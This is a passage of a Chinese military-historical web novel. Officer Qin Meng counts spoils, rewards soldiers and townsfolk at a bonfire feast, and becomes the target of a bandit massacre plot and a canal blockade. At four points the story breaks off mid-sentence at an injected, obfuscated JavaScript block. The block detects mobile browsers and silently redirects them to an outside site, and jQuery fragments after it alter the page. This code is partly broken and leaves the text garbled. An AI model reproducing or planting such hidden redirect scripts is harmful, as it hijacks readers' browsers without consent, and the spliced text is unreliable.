“轻伤马匹五十九匹,已令堡内老兽医救治。重伤及毙命战马四十六匹,已按计划处理取肉。”
合上首册,翻开新页,诸葛风语气更精准。
破庙之战救回百姓:此役乃最重之功,成功解救被掳边民总计八十七人,其中含妇孺三十余名。
现已悉数安置于堡后搭建起的窝棚区,由老保长安排人手送去饭食、热水,并派人通知家属。”
“另外**人配双马,驮着毛皮衣,皮褥子。马鞍袋里有豆料,肉干,马奶酒,奶酪,炒胡豆等。”
“行,我知道了。”秦猛脸皮抽搐,挥手叫停:“先生非常细心,很好,这些杂物就不必……”
诸葛风皱着眉,打断他的话,固执地说道:“大人,此项不是杂物。如豆料,积少成多,过二十石,得要入库。皮衣,皮褥子人人都有。
两百六十多套,是边陲取暖不可或缺的物资。属下正发愁,如何安置好流民,取暖是关键呐!获得这批羊皮褥子,冬季便不会冻伤冻死。”
诸葛风越说越激动,脸上带上笑容。
秦猛脸上不耐消失,觉得自己欠考虑,确切地说他当了官后飘了,没把民生放在首位上。
骄傲自大,俗话就是狗翘尾巴。
这是人取得一定成绩后,无法避免的心态膨胀。
而且却是打下根基时最大的弊端。
“这种心态要不得,亏得书生点醒。”秦猛自我警醒,不耐被凝重取代:“嗯,你做得对,是我疏忽了。
下雪后酷寒,不单单是毛皮,干柴,煤料也要备足了,越多越好,需要烧火做饭,取暖所用。”
“老保长已经动员过堡民。”诸葛风脸上露出笑意。
秦猛松了口气,感慨姜还是老的辣。他看着诸葛风,严肃地问:“继续,说说己方情况。”
“是。”诸葛风应声回应:“我方损失:阵亡戍卒四人。”
“身负重伤八人,已送医疗所。”
“另负轻伤尚有三十余人,行动已无大碍。”
“特殊缴获:兀鲁思不论,得**谋克勃极烈扎哈尔所佩金印一枚、表明其身份之腰牌一块、用以调兵遣将之令箭一支。”
“尤为关键是扒衣时,得其贴身收藏,小范围**活动区域舆图一份,价值难以估量!”
诸葛风再次合上账册,身体微微前倾,语气极其郑重地补充道:
“大人!那扎哈的金印、腰牌、令箭三样,乃其身份权力的铁证!”
“至于那份密绘的**活动舆图,更是军情至宝,可谓此役最重之收获!”
“此四物,学生以为,当立即加封,选派精干,日夜兼程,火速呈送至大营交给赵将军。”
“此等重物,留于堡寨,恐非善事!”
“至于缴获之金银财物,则可尽数留作军寨初创之根基资财!”
秦猛端坐椅中,凝神静听着诸葛风口中报出的这一笔笔数字。
它们触目惊心!
唯独几个招募的新兵不幸中箭身亡。
令秦猛心情一下沉重起来,这是他亲自调教的新兵。
“将军,人死不能复生。”诸葛风看出他心情低落,上前安慰:“何况,咱们是取得大胜。”
“几乎是全歼这一支女真精锐。”
“是啊。”秦猛神色逐渐恢复冷峻,慈不掌兵。
**金印、腰牌、令箭、密图。
这简直是滔天洪福,意外之喜。
这一夜浴血,何止是守住了军堡?
打出了前所未有的军威,边堡升格为军寨!
斩杀了草原凶名赫赫的勇士扎哈尔!
救回了近百濒临地狱的骨肉同胞!
更获得了支撑一个崭新军寨崛起运转的巨额资金!
而“知寨官”这三个字,也因这一份泼天大功,有了最厚实、最无可辩驳的垫脚石!
秦猛的目光,缓缓扫过账册上那清晰的黑字:
“金两千余两…”
“白银逾八千两。”
“草原好马四百多匹。”
……
这些冰冷的数字仿佛活了过来。
秦猛甚至透过窗棂,看到了堡门方向**的人群,那一张张刚刚脱离恐惧、对未来重燃热切期盼的脸庞。
“好!”他沉声赞道,声音不大,却带着金石之质。
在这寂静的堂屋内清晰回荡。
“先生此事办得极好,辛苦了!”
“务必以最工整字迹,将所有缴获、伤亡、安置账目,誊录清楚
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16418865|184734||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,一式两份,留存备查。”
“呈送赵将军的报捷密信劳烦润色,更需字斟句酌,务求详实严谨,万不可有丝毫疏漏。”
“至于缴获物资…特别是装备、军械,务必择选可靠人手,加派戍卒看守,好生保管。”
“缴获的白银,五成入库充作军堡发展用度,剩下五成尽数犒赏有功之人——除了此次有功的将士,凡对守堡有贡献者,人人有份。”
“大人!”诸葛风连声应是,可听到五成用作奖励时,顿时一惊,“这五成超过了五千两,折算为铜钱,价值万贯,这是不是太多了?”
“不多!”秦猛肃然摆手,想起阵亡的戍卒,声音沉了下来,“弟兄们为守堡流血拼命,这点奖赏算得了什么?新建军寨固然要钱粮,但不能亏了拼命的弟兄,这是本寨的根本。”
他顿了顿,继续说道:“阵亡的弟兄,有家室的,抚恤百贯钱,军堡每月再补贴钱粮。
没家人的,就把这笔钱用在抚养堡里的孤儿上,让孩子们改名换姓,也算替他们留个念想,续个后。”
“妙!大人这个提议太好了!”诸葛风心头激荡,连连拍手称赞,“待学生即刻起草公文,把这些规矩定下来。如此一来,我军堡将士怎能不拼死效力?”
秦猛本想说,他更希望弟兄们都活着回来,见诸葛风正情绪高涨就把话咽了回去,默认了让他起草公文的事,再一想,其实这样蛮不错。
这时,门外传来女子的说话声。
陈月娘在前,秦小芸蹦跳着紧随其后,王艳则护在一旁,三人一同走了进来。
“哥!”秦小芸见堂屋里火光摇曳,刚要扑过来,瞥见有外人在,立刻收敛性子,规矩地双手交叠小腹,行了个万福,“呀,诸葛先生也在。”
“见过小妹,夫人。”诸葛风忙从椅子上起身还礼。
“诸葛先生来了,天色已晚,就在家里用些便饭吧!”陈月娘随后进门,以女主人的身份温和相邀。
“不必了,家里今晚不开火。”秦猛起身走向陈月娘,对一脸疑惑的诸葛风解释道。
“我已吩咐今晚军营设了庆功宴,篝火晚会。”
“好哇好哇!”秦小芸立刻欢呼起来。
“走吧!咱们去军营。”
秦猛看向诸葛风,拎起腰刀挂好,又去边上耳房把睡觉的乌维拽了起来,一行人出了堂屋。
关门时,恰好听见外面铜锣“哐哐哐”作响。
原来是庞仁亲自带队,正敲锣打鼓,走街串巷,洪亮的吆喝声传遍堡内:“老少爷们儿,秦知寨有令!**已退,**行赏,全堡同庆——”
话音未落,军堡各处已隐隐传来此起彼伏的欢呼声,与铜锣声交织在一起,在夜色中越传越远。
那不仅仅是堡民们劫后余生的庆贺。
那是对秦猛这个领头人,知寨官沉甸甸的托付!
却是如山岳般压在肩头的责任!
秦猛知道,一个新的时代,一个充满了血火挑战与前所未有机遇的大幕,已经随着他入主这座边陲小军堡时,便轰然拉开,展露峥嵘!
第50章 功无厚赏不锐
最后一缕残阳的金辉被山峦彻底吞没,暮色如墨般漫过小南河堡的轮廓。
整个军营区却骤然亮起数堆冲天篝火。
橘红色的火焰疯狂舔舐着深邃夜幕,将营房屋顶与攒动的人群都染成一片滚烫的赤红。
篝火上,大块大块马肉被串气炙烤,临时支起的几口大铁锅里,油亮喷香的炖马肉正翻滚冒泡。
空气中飘满油脂炙烤的焦香与骨头汤的醇厚暖意。
另一侧粥锅咕嘟作响,浓稠粟米裹着马肉碎末,每一声沸腾都飘出米香,勾得人喉间发紧。
这顿难得的荤腥不止犒劳浴血奋战的戍卒乡勇,还有少年队二十几个半大少年,堡内所有出过力的居民,都被召集到篝火旁的空地上。
人声鼎沸里混着劫后余生的庆幸,笑语喧哗中藏着对食物的渴望,烟火气与生命力在火光中交织升腾。
靠近官署的地方临时搭建了粗木高台。
文案坐在桌边,摆好纸墨,边上还有几口大箱子。
秦猛在张富贵、乌维等亲兵的簇拥下登上高台。熊熊篝火将他挺直的身姿拉得更显高大。
喧闹渐歇,数百道目光聚焦而来。
篝火外围,陈月娘和秦小芸并肩而立。
火光映在陈月娘温婉的眸子里,跳跃着别样的光彩。
她望着台上那人挺拔如松的身影,嘴角不自觉地微微扬起,心中被一种踏实与骄傲的暖流填满。
身旁的秦小芸更是眼睛一眨不眨,小拳头紧握着,兄长在火光下那份沉稳如山、锐气如虹的气度,让她心头莫名地轻快愉悦,与有荣焉。
秦猛目光如炬扫过台下。身旁的幕僚长诸葛风手持名册肃立,青衫在火光中更显清瘦挺拔。
秦猛沉稳洪亮的声音借着火势传遍全场:“今夜,此火此肉,敬昨夜以命相搏、守护家园的弟兄。敬我小南河边军寨,全堡军民。”
“此战大捷,斩首近三百,缴获无数。此乃众志成城,浴血拼杀之功。”
“凡有功者,必赏。凡有伤者,必恤。”
他接过诸葛风递来的名册,字字铿锵地宣读:
“秦大壮。”
半晌,无人应答。
秦猛扬声补充:“秦部将依旧坐镇燧堡有功,赵将军擢升其为磐石营部将,军寨追赏白银一百五十两。”
“秦部将未归,奖励即刻送予家人。”
文案得到命令,记录,开箱,取出足额银锭,递到大壮妻子手中,妇人红着眼眶深深叩首。
“谢秦大人赏赐。”
“哎哟,是真的奖励银子。”人群爆发出细碎赞叹:“乖乖,一百五十两,秦大壮家发达啦!”
台上几口大箱子更是让军民期待更甚!
“张富贵。”
“在。”
屠户出身的汉子跨步出列,铁打的身躯在火光下绷得笔直。
“作战勇猛无双,亲斩恶匪七人、**十六人,军功甚大。擢升军寨队将,领兵一队,赏银一百两。”
张富贵涨红了脸,攥紧拳,心头发热,昂首大吼:“谢知寨提拔,属下必以死相报。”
人群轰然叫好。
“李山、刘铁柱、王铁山、庞仁。”
“在。”四人齐声应答,昂首挺胸,列成一排。
“你们阵中奋勇杀敌八到十三人,战技过人,为我军寨楷模。特擢升队将,各赏银百两。”
四人眼中闪着光,齐声应诺:“遵大人令。此生愿随大人左右。”
“王善、**。”
“在。”两兄弟跨步上前,年轻的脸上满是激动。
“初上战阵胆气过人,各杀敌六人。按律直接转为边军,暂任队长之职,日后立新功再行升赏。”
兄弟俩互看一眼,躬身时声音发颤:“谢大人不弃。我兄弟二人定当随将军建功立业立。”
“刘大牛。”
“在。”牵着大黄狗的汉子应声出列,掌心因紧张沁出细汗。
“训犬有方。麾下猛犬夜袭领路、缠住敌骑,任暂理犬兵队队将,赏银五十两,队成即扶正。”
刘大牛红着眼眶,挺起胸膛:“谢大人提拔。大牛领命。定练出最好的战犬,护我军寨。”
“乌维。”
“在。”山蛮巨汉瓮声上前,熊掌似的大手摸着脑袋。
“杀**七人,任本将侍卫,赏银五十两。”
乌维咧嘴憨笑:“谢头人。银子不要,要肉要酒。”
“哈哈哈……”军营爆发出善意的哄笑。
秦猛黑着脸改口:“好,换成酒肉赏。”
“石头、刘大川。”
“在。”一老一少齐声应答,上前。
少年石头努力挺直腰杆,老猎户瘸着腿却站得极稳。
“石头带路捉匪,刘大川驯犬追踪,各赏银二十两。石头暂代少年队队长,刘大川任兽医官。”
“谢大人。”两人深深作揖。
石头心里默念定不让大人失望。
刘大川则暗下决心要驯养好所有军犬。上午在酒桌子上,老头恳求着把功劳转让侄子大牛。
这老少组合同时出列,虽不如当官领职耀眼,但却能得大人亲口点名,亦是荣光满面。尤其是这年纪反差的两人,令周围堡民看得眼热。
他们条件不比这两位差,以后只要把事情办好,立了功,同样也能够获得奖励,受人尊敬。
“所有昨夜参战伤者,依伤情由诸葛先生造册,赏抚恤银十五至三十两。”秦猛声音低沉庄重。
不少缠着布条的汉子们红了眼圈,悄悄攥紧拳头,心口有暖流鼓动。
“参战军卒、壮丁各赏奋勇银五两,杀一敌加五两。”
昨夜战事,四位弟兄阵亡。军务司已为他们登记造册、拟定名讳,若有家属,即刻发放百贯抚恤金,往后军寨每月照发粮米赡养。”
秦猛声音压得很低,眉宇间凝着化不开的黯然。目光随即扫过军堡内近百个肃立的戍卒。
“所以我一遍遍说,平时多流汗,战时才能少流血。”
他顿了顿,语气转厉:“昨夜接战,有几个新兵露了怯。是谁,本将不点名,但你们自己心里有数。
记住,胆怯换不来活命,**的刀可不会因为你怕就停下!唯有攥紧兵器往前冲,才能杀出一条活路!”
铿锵话语砸在耳中,十几个新兵不由自主地低下了头。他们虽未溃散奔逃
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16418866|184734||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,却也失了锐气。
此刻只觉脸颊发烫,再想起同袍中有人斩敌建功、领了厚赏,一股狠劲顿时从心底窜起,攥紧的拳头发誓,下次再战,定要拼出个样子来。
“秦知寨,还说抚恤金若无亲属认领,这笔抚恤便充作孤儿教养之资。给他们留个后,此事已写进军堡铁律,明日,告示张贴在军寨各处。”
诸葛风察觉到气氛有些沉默,沉声说出提案。顿时营地内鸦雀无声,人人眼睛瞪得老大。
为听到这个消息而感到震惊。
尤其是堡内戍卒更是心头激荡,紧紧抿着嘴唇。有了这个规矩,家人有保障,他们没有后顾之忧。也敢,也愿意为了守堡,而杀**。
“作坊工匠听令。”秦猛转向另一侧工匠人群,“铁匠坊连夜锻造箭簇三百支、修补兵器五十件,赏匠头白银二十两,工匠每人五两。”
“木工坊,筑石坊抢修箭楼三座、加固寨门,堡墙有功,赏匠头十五两,工匠每人四两。”
“裁缝铺三日赶制军服百套,赏坊主十两,伙计每人三两。”
……
工匠们纷纷出列谢恩。木工坊鲁明攥着糙手心里发烫:“能得大人记挂,便是累死也值得。”
“战后搬运物资、救助伤员、维持秩序的民壮,每人赏白银二两。堡内全体军民,得银五钱,马肉十斤、粮食二十斤、细棉布一匹。”
此语一出,广场彻底沸腾了!
“秦知寨威武。”的欢呼浪潮直冲云霄。
篝火映照着一张张因激赏和饱食而红光满面的脸庞,连诸葛风也在这浓烈的氛围中露出赞许的笑意,手中的毛笔在名册上沙沙不停。
人群中,陈月娘看着台上那个光芒四射的身影,又转头看看身边兴奋地攥着自己衣角的秦小芸,内心的暖意与欣慰如同杯中满溢的美酒。
秦小芸感受到她的目光,也仰起头,两人相视一笑,眼波流转间是对同一个人、同一份荣耀的无言共鸣。
人群外围的袁飞和徐强被特邀而来,手握各自沉甸甸的五十两银袋,指节捏得有些发白。
——这却是相助练兵的酬劳啊!
他们目睹着这军寨之中赏功的肆无忌惮与公平无遗,连匠人民夫都能分润实实在在的好处,尤其是戍卒阵亡抚恤金一事,心头剧震。
这与旧日官军苛扣成风、上下倾轧的天壤之别。
“……真是开天辟地头一遭。”袁飞化为苦涩喟叹,与徐强对视,皆是从对方眼中看到震惊。
冰冷的银子袋贴着滚烫胸膛。
身畔是堡民们震耳欲聋的欢呼浪潮。
让他们重新审视着那高台上年轻的身影,也隐隐明白为何这小小边堡能爆发出焚山煮海般的战力。
人心,已被那滚烫的赏赐和不容置疑的公道牢牢焐热。
秦猛用这场毫无保留的分胙盛宴,在焦香缭绕的篝火旁,在震天的呼喝中,用最原始直接的方式,将刻骨的慷慨与掷地有声的承诺。
——“跟我战,必厚赏”,将那打破尊卑的粗犷公道,深深楔入每个人的灵魂。
他分的是财物。
铸的却是铁石之心。
第51章 冷艳山夜谋
幽州以北,冷艳山如一头沉默巨兽蛰伏在夜色里。
山影绵延起伏,森然暗影将周遭笼罩,主峰似被天神怒劈,陡峭得连飞鸟都难落脚,唯脊背那道“一线天“裂隙蜿蜒如蛇,成了登顶的唯一险径。
绝壁深处的山寨,三年来早已是幽州军民谈之色变的毒瘤。
三百亡命徒凭这天堑据守,官军数次围剿都铩羽而归。
他们的勾当远非寻常山匪可比,劫掠商队、勒索赎金只是开胃小菜。
更令人齿寒的是勾结地方奸吏,将掳来的无辜边民卖往草原为奴,换黄白皮货等不义之财。
夜幕沉落时,一支满载粮畜的神秘车队悄入山寨。
聚义厅内,空气沉闷如铅,熊油浸润的火把噼啪作响,跳跃的火光舔舐着两位当家的狰狞面容。
上首主位,大当家“黑山熊”严彪端坐如磐石。
他魁梧雄壮,满脸横肉恍若岩刻,脸上疤痕交错,双眼在火光下闪烁着狼一般的凶戾精光。
粗糙的熊皮大氅随意披在宽阔的肩上,腰间一左一右别着两柄短柄狼牙锤,沉重而狰狞。
右侧座席,是三当家“索命虎”黄奎,斜靠在交椅上,生得貌丑凶恶,体魄雄壮,上身几乎赤裸,横肉虬结的胸膛上纹着青虎狰狞刺青。
一柄粗重的鬼头大刀立于身侧,刀环无声震颤,衬着他眼中翻滚的、几乎不加掩饰的暴虐凶光。
大厅中央,一位绸缎衣着、头戴瓜皮小帽的中年人柳三,正慢悠悠捻着几根稀疏的山羊胡。
“两位当家的,日子近来可安好?只是……”
他话锋一转,声音透着刻意的低沉:“这幽州地面不甚太平啊。南河口不知从哪块石头缝里蹦出个愣头青,正八品管队秦猛。”
“此人胆大包天,且心狠手辣,行事彪悍不留余地,一改军堡往常的龟缩做派,严防界河。”
“我家老爷断定,放任不管,日后这位定会给我们的买卖带来影响,硬生生掐断了多条财路。”
柳三顿了顿,眼神扫过两位当家的表情:“更麻烦的是,此人不守规矩,像是握住了些不该握的东西……咱幽州几位大人物心中不安。”
他阴恻恻一笑,轻轻拍了两下手掌。
厅外立刻传来沉重脚步声,四名壮汉吃力地抬着一个硕大的木箱进来,“咚”地放在地上。
箱盖掀开,露出满坑满谷、棱角分明、银光刺眼的雪花纹银!寒气瞬间弥漫了整个大厅。
“这些,是‘那位大人’托小的带来的一点小小酬劳。”
柳三手指轻轻拂过冰冷的银锭:“白银三千两,权当定金。所求之事嘛……倒也简单。”
他的声音骤然压低而阴冷:“踏平那南河小土堡!事要做得漂亮,像是草原狼崽子们的手笔,鸡犬不留,杀光!抢光!烧光!懂么?”
柳三眼皮微抬,和善的面容消失,露出狰狞,冰冷的目光刺向严彪:“那姓秦的必须死。”
听得“杀官”二字,严彪和黄奎脸色变了变,不禁对视一眼,都从对方眼中看到了警惕。
边堡,是什么?
那是北方边军,岂是好惹的?
一旦追查下来,知道是冷艳山寨所为,别说他们300来人,就是3000,也会被一夜剿灭。
报酬虽高,但风险太大,不值当!
“柳兄弟,这事儿嘛……”严彪想委婉地拒绝。
那柳三显然是有备而来,见两人的神情变化,抢先一步说道:“两位当家,不要有顾虑。”
“我家老爷说了,几位大人物承诺依旧有效,请山寨当家的放心,咱那边会接手处理,定性为草原**入境所为,边军没有理由插手详查。”
柳三又竖起了五根手指:“这事儿办成了,再追加白银五千两、精米三千石、甲胄器械等。”
重赏之下,必有勇夫。
何况柳三开出的条件,给的太多。
黄奎眼中精芒一闪,笑嚷道:“嘿嘿,钱粮给的痛快,这买卖要得!要扮**?这调调老子最在行!包管剥皮剔骨都带着草原的膻味儿!”
在八千两白银的刺激下,他体内凶性迸发,嗡的一声提起鬼头刀,刀环狂震,吼声如雷:“痛快,大哥!这买卖带劲,咱干了?”
可主位上的严彪,独眼精光沉凝,指节在虎皮椅扶手上缓慢而有力地点着,发出笃笃轻响。
秦猛……这个名字令他心头掠过一丝极其危险的警兆。
此人绝非普通戍堡军官那么简单。
“大哥,八千两银子?咱们得做多少年买卖?”黄奎见严彪迟迟不答应,有些急了凑上前。
“你懂什么?等二当家批货卖完,再商议决定不迟。”严彪瞪了黄奎一眼,声音不容置疑。
这烫手的银子,怕是有命拿,没命花。
就在这念头翻涌,严彪决心未定之际——
“报!大当家……三当家……不……不好了——”
一声凄厉到变形的嘶嚎,骤然撕裂聚义厅内短暂的僵持。
一个身影,几乎是连滚带爬,像条垂死的野狗般撞了进来。
来人浑身是早已凝固发黑的血痂,脸上污垢泪迹混作一团,最触目惊心的是左腿,被粗暴踹断,用染血的破布胡乱处理,一瘸一拐。
他爬行之处,拖出一道长长的、暗褐色的血痕。
正是昨夜从破庙逃脱的“幸运儿”。
匪徒见到山寨当家,涕泪混着血污,喉咙里嗬嗬作响,仅存的手死死指向南方,字字泣血。
“大……大当家,三当家……虎爷,虎爷他……呜呜……被南河堡那姓秦的狗官砍……砍了头啊!”
轰——!
“你说什么?”正自考虑的严彪,如遭五雷轰顶。
他脸上的暴怒瞬间被极致的震惊和不信取代,随即转化为滔天的、几乎要将空气点燃的狂怒。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16418867|184734||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一柄狼牙短锤哐当一声砸在脚下青石板上,碎石迸溅。
“兄弟啊!”
严彪须发戟张,双目圆瞪,宛如濒死狂吼的暴熊。
他的亲兄弟严虎,就是无名破庙那个虎爷虎秃子,为山寨捕奴队大头目,即将升为四当家。
是严大当家的铁杆心腹,却突然**。
“秦——猛!”严彪眺望着北方,咬牙切齿,一字一顿:“老子若不生啖你肉,碎刮你骨,抽筋扒皮点天灯,我黑山熊严彪誓不为人!”
那柳三听到这一幕愣了愣,随即露出一个笑容。
本来要费一番口舌,这下成了!
“秦猛啊秦猛,这是你自己找死,怪不得别人呢!”柳三心中嘟囔着,脸上笑意若有若无。
“大哥,息怒……”黄奎见了心头发冷,反过来劝严彪:“不能听信一面之词,要问清楚了。”
“嗯?”严彪猛地转过身,冷冷地看着那个幸运儿。
“大当家,三当家,小的说的句句属实,我是逃出来……”那跪在地上的喽啰吓得一个激灵,磕头如捣蒜,声泪俱下地说着事情经过。
当了解事情始末,更听到“官兵冲进来就**”,“虎爷惨叫一声,脑袋就被人拎了起来”。
这冲天的恨意彻底冲垮了严彪心中最后一丝权衡,眼中仅存的疑虑被狂暴的血红吞噬。
他豁然站起,身上熊皮大氅无风自动,手掌砰一声拍在扶手上,坚硬的黑檀木瞬间爆裂纷飞。
“好,这买卖本当家接下了。”
严彪红着眼盯着柳三,吼声如同猛兽咆哮。
“回去告诉你背后的主子,把银子、粮食准备好,就在这几日,老子会带人踏平小小土堡。”
“好,那坐等大当家的好消息。”柳三笑着应下,随后起身拱手告辞,迅速离开这个贼匪窝。
“慢走,不送。”严彪冷冷开口。
黄奎目送柳三离去,啐了声“狗东西”,转身看着严彪,问道:“大哥,要不要派人通知二哥?”
“哼,不用了。”严彪愤怒渐消,沉着脸说道。
冷艳山二当家“双尾狐”韩勇,边堡出身,后来**来袭,边堡被捣毁,为活命逃入深山,饥寒交迫被严彪所救,为报恩加入山寨。
“老二身在山寨,却只管山寨维系,终究与我们不是一路人,若是知道我等攻打边堡,定会劝说阻拦。”严彪眼神闪烁,脸色愈发阴沉。
“三弟,点齐山上所有兄弟,准备物资器械,把马喂饱了,三日之内——”他牙齿咬得咯咯作响,每一个字都像是浸透了严虎的血沫。
“踏平南河堡!血债血偿!用姓秦的脑袋,祭奠虎子!也给幽州那边……交一份‘漂漂亮亮’的货!”
那“货”字出口,森寒刺骨,带着无尽的血腥与残忍。
聚义厅中,熊熊燃烧的不仅是火把,更有这悍匪焚尽一切的复仇烈焰。
第52章 刘判官封河毒计
时间往前追溯半日,上午。
幽州境内蜿蜒的运河水道,河面漂浮着细碎的薄冰,在灰白日头下,反射着刺目的冷光。
凛冽朔风顺着河道呼啸,挟带着刺骨的寒意。
水路的便利远超陆路千山万壑。
纵使濒临冰封,却仍有大批船队冒险北上。
大大小小的货船上,满载着从中原、江南十余州府运来的粮食、棉花、茶叶、布帛与陶瓷……
这些货物送抵边镇,充作军需。
流入草原,换取皮毛牛羊,转手便是十几倍的暴利。
运河两岸主要城镇码头上,卸货、议价之声喧嚣鼎沸。商人的焦灼与贪婪在寒风中发酵。
突然,密集沉重的马蹄声踏碎了码头的喧嚣!
一队队盔甲鲜明的幽州地方军卒疾驰而来,刀矛闪寒光,迅疾封锁了各处闸口、码头。
为首的军官亮出公文,厉声宣告:“奉幽州府漕运司严令!河道壅塞,自上月底起全线巡检整饬。往来商旅无特批‘漕引’,一律禁行!
违者,船货没收,严惩不贷!”
恐慌如瘟疫般炸开。
“这时候封河?冰要上冻了啊!”
“整饬运河?往年哪有这事?”
“大人,船上是边镇救命棉布啊!”
无数满载货物的商船被逼停回港,如同陷在冰面的困兽。
时间每流逝一刻,河道彻底封冻的阴影便迫近一分。
一旦雪落冰封,巨额投入将血本无归。
码头的喧嚣混乱,最终化为一条条焦灼的暗流,向着运河中枢、幽州府城的权力核心汇聚。
傍晚,幽州府衙。
时值残阳西坠,将府衙森严的飞檐,斗拱,梁柱涂抹上一层暗金色,仿佛涂满了冷却的血漆。
一方格调雅致却透着肃杀气的书斋内,漕运转运判官刘德福端坐在古雅的黄花梨太师椅上。
室内炭火烧得很足,温暖如春,与外界的凛冬形成两个世界。
他白皙而保养得宜的指尖,拈着一盏薄如卵壳的定窑白瓷杯,杯中是嫩如雀舌的雨前龙井。
袅袅茶香本该令人心旷神怡,而刘德福的这份过度的“悠闲”,反而成了无形的沉重压力。
下首四张酸枝木靠背椅上,端坐着幽州地面呼风唤雨的商贾巨擘,粮、盐、铁、布四行会首。
他们身后站着十来位神色惶惶的商行领队,管事。
平日富甲一方的豪商,此刻个个额角挂着汗珠,脊背绷得笔直,竭力维持恭敬,连呼吸都刻意放轻。
后面的管事们更是低垂脑袋,眼观鼻、鼻观心,大气不敢出,恨不得缩进椅背阴影里。
屋角沉香在紫铜狻猊香炉中静燃,幽深木香丝丝缕缕,却化不开那比寒冰更刺骨的窒息氛围。
刘德福眼帘低垂,似沉浸在茶汤回甘中,又像经验老道的猎手享受猎物入套前的恐慌。
那掌控一切的快意随品茶无声流淌。
幽州漕运判官的身份在此刻尽显,威慑十足。每一寸沉默,都带着令人心悸的实权分量。
良久,杯沿轻触他丰润的下唇,“呷”一声,极细微的啜饮,在死寂中清晰如玉器碎裂。
他缓缓放下茶盏,定窑白瓷杯底触紫檀木桌面,发出“嗒”的脆响。
这声音不高,却如金石撞击般冷冽,像冰针刺进骨头缝里。
下首四大会首浑身齐齐一颤,粮商赵胖子脸上的赘肉都随之抖动。
“诸位,”刘德福终于开口,声音不高不低,像冰珠子滚过玉盘,带着不容置疑的黏腻寒意。
“你们来意本官清楚。但近来得闻些许风声……”
他略作停顿,眼皮慢条斯理撩起一线。
那眼神锐利如出鞘钢刀,寒光四射,缓缓扫过四位会首瞬间煞白的脸,仿佛用目光丈量他们项上人头的硬度。
“据说……”刘德福拖长调子,字字如重锤砸在人心坎。
“有些人心思活络,想趁冰水未封,往北边新崛起的‘小南河堡’运粮秣、布帛、精铁?”
话音平稳,却字字千钧,落在死寂室内如落石坠寒潭。
被重点关照的赵胖子再难支撑,身躯肥肉哆嗦,腿肚子打颤,硬着头皮拱手,干涩回话。
“回…回禀刘大人,边堡戍守将士……总要吃饭穿衣,备械御敌……此乃大周商贾本分……”
“吃饭穿衣?备械御敌?”刘德福嘴角牵起一丝几近于无的弧度,那不是笑容,是刻骨的轻蔑与讥讽,像在听荒诞笑话,又似对螳臂挡车的怜悯。
他白玉般的食指,带着优雅而残酷的意味,在桌案大运河舆图上缓缓划过。
舆图上每条水道、每个闸口都代表财富脉络,指尖最终停在贯通幽州南北的漕河主干道中心节点。
——扼守咽喉的大型漕运闸口。
“自十月底起,”刘德福声音陡然下沉,如冰川摩擦轰鸣,字字像从冰窖凿出,“因河道淤积,所有漕船停运待检,巡检船队清淤整饬。”
食指在闸口猛然一顿,指肚用力压着舆图,几乎要戳出洞来。
“整饬结束前,未持幽州漕运司签押‘漕引’者……”
他猛地抬头,目光如淬毒钢钩,依次钉牢四位会首面孔,不容回避:“在小南运河以内!”
一字一句如断头台闸刀落下。
“一粒米!一尺布!一块铁!一根针!禁止送到小南河军堡!”刘德福眼神冰冷,最后五字从齿缝迸出,带着无上威压与砭骨杀机。
“凡违令夹带偷运者,商船扣押,货品没官充公!”他冷酷宣判,语调渗入恶毒挑衅。
“若有哪位想冒抄家灭门之险……”
刘德福拈着杯盖的右手随意一拂。
“咚!”定窑茶盏顿在桌面,茶汤并未荡出,却如千钧巨锤砸在众人心头!
噗通!几个管事当场腿软跪倒。
刘德福目光如冰封寒渊,扫过众人惨白的脸色,凝聚在四大会首身上,嘴角扯出森冷笑意。
“诸位不妨试试!看是你们人头够硬、家底够厚,还是本官的运河闸口更硬更牢、更不可逾越!”
书斋时间仿佛冻结,陷入令人发狂的真空死寂,落针可闻,唯余心跳闷响与沉香烟气
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16418868|184734||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
绝望扭动。
